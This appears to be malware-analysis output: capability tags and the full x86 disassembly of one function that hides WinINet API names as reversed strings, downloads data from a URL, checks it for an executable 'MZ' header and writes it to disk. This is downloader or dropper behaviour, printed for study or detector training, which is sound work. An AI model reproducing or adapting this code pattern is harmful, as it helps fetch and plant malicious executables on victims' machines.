Function at 0x1000f950
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x494
xor eax, eax
push ebx
mov dword [esp + 4], eax
mov dword [esp + 0x24], eax
mov eax, 1
push ebp
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
xor eax, eax
push esi
mov dword [esp + 0x1c], eax
push edi
mov dword [esp + 0x24], eax
mov ecx, 7
mov dword [esp + 0x28], eax
lea edi, [esp + 0x34]
mov word [esp + 0x2c], ax
lea edx, [esp + 0x20]
mov byte [esp + 0x2e], al
push str.InternetOpenA
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, str.lld.TENINIW
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.MSVCRT.dll__strrev]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 4
push eax
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov dword [esp + 0x70], eax
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, str.eldnaHesolCtenretnI
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
lea edx, [esp + 0x20]
push eax
push edx
call ebx
push eax
call ebp
mov dword [esp + 0x7c], eax
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, str.AlrUnepOtenretnI
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
lea edx, [esp + 0x20]
push eax
push edx
call ebx
push eax
call ebp
mov dword [esp + 0x80], eax
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x34]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, str.eliFdaeRtenretnI
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.InternetReadFile
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
push ecx
call ebx
push eax
call ebp
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__compatible_
call dword [esp + 0x84]
mov esi, eax
test esi, esi
jne 0x1000faf6
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x494
ret
mov edx, dword [esp + 0x4a8]
push 0
push closesocket
push 0
push 0
push edx
push esi
call dword [esp + 0x98]
mov ebx, eax
test ebx, ebx
jne 0x1000fb24
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x494
ret
mov eax, dword [esp + 0x4ac]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x1000fbc4
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0xa4]
lea edx, [esp + 0xa4]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
push ecx
push 0x400
push edx
push ebx
call ebp
mov eax, dword [esp + 0x1c]
xor edi, edi
cmp eax, edi
je 0x1000fb8b
cmp word [esp + 0xa4], 0x5a4d
jne 0x1000fbb5
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x30]
push edi
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0xac]
push ecx
push edx
push eax
mov dword [esp + 0x30], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 0x10], edi
jbe 0x1000fbb9
jmp 0x1000fb50
mov dword [esp + 0x18], edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x7c]
push ebx
call edi
push esi
call edi
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x494
ret